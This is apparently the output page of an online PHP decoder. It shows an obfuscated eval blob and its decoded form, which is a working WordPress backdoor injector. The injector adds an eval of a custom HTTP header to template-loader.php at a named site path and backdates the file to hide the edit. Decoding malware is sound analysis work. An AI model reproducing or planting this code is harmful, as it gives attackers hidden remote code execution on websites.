Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("jZL9j5owGMd/969giQmaXRbAqWeWZbvj5A4VuROVyrIYKEXQUjgooiz3v6/4..

Decoded Output download


phpConfValidate('YTo0OntpOjA7czo2MDoiL2hvbWU0L2tpMzIwOTgzL21lcmNlcmlhZS5pdC93cC1pbmNsdWRlcy90ZW1wbGF0ZS1sb2FkZXIucGhwIjtpOjE7czo5ODoifmV2YWxbXlwoXG5ccl0qXChbXlwkXSpcJF9bQS1aXXs2fVteXFtdKlxbW15cJ1wiXSpbXCdcIl1IVFRQXzBFNjMyMEJbXCdcIl1bXlxdXSpcXVteXCldKlwpW147XSo7fnMiO2k6MjtzOjMyOiJAZXZhbCgkX1NFUlZFUlsnSFRUUF8wRTYzMjBCJ10pOyI7aTozO3M6MzU6In5eXHMqaWYuKmlzX3JvYm90c1teXHt8XDpdKyhce3w6KX5tIjt9');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (preg_match($systemEnv, $source)) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    
    $incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
    $newSource = preg_replace($incorrectRegex, '', $source);
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
    
    
    if (!preg_match($systemEnv, $newSource)) {
        return;
    }
    
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("jZL9j5owGMd/969giQmaXRbAqWeWZbvj5A4VuROVyrIYKEXQUjgooiz3v6/4fi/J1qT0KX2+n+fp87QS+7EcEW9q48C1Karxs3Ek6ITG+vKmDYtI0u6iYCD5a8ecCAOJxlqh5vp4UQwkEcNwyCb2LaMZu3KnAWUxdsJh6pojDLcdwTLF3LlXBMsQU0dSVhZQM3jv5+qy5HdLflNnfC+cSjNz4wCcR+C+CSEWnoHsl/sVMGLYUzrOkyHaAKSSN6UIKNTt441jik3YE/OA+ThAdqGKRXWqjJ5AcasMl9pW6/aO/xlr45YsUOplzPR5bIpf28CI2h7RAl1atbQlLXSm04PejQUs35EXKyAOlQm22EyJoYwmE+U6H41nhba8lXuiEOtbtW2Po0JvaC2tmLRU0kTgQXu2zVnWD3EBGr31LOwIUGRxH+g1uIvd/taHqJG3+qBJWS06fP1bxcsIpEFEuLcdqaYoqXN/KhWODRyklKtVvQzjR5v6V1w13aYUhV2yZjaMXMSW2KYUJaTOfecywtQBQxWo5tgpan2du6h022NZ3JJaTaMsgYj5ewFG8wWicxgRighNz7EOvoHH1eIELeahTaFfexV/j6mX2XKHkSCaJWQvfTkBPl0SDume9MzYnaD0H6R97gGBUZIgSEdogTbsDilN5gmKsQ3Zc0Y894Xj1/ZuwfwVx//8YSfJbmtv+csCHotBUG4c67HL8wh7E4qx+POlPxBfJnK80i/h96FRLIPHh8d5Vx8w6/XxCXKgnj/vindZ/rPsf+pWtjqkQXhs+86+aDf3mROFvSwjOCCrd09h91ji7KPH8sElaJSVCV94nKIyj5fKXw==")));

Function Calls

gzinflate 1
base64_decode 1
phpConfValidate 1

Variables

None

Stats

MD5 46fe79e1e2f2fa74bc7c69643c5b20c2
Eval Count 1
Decode Time 59 ms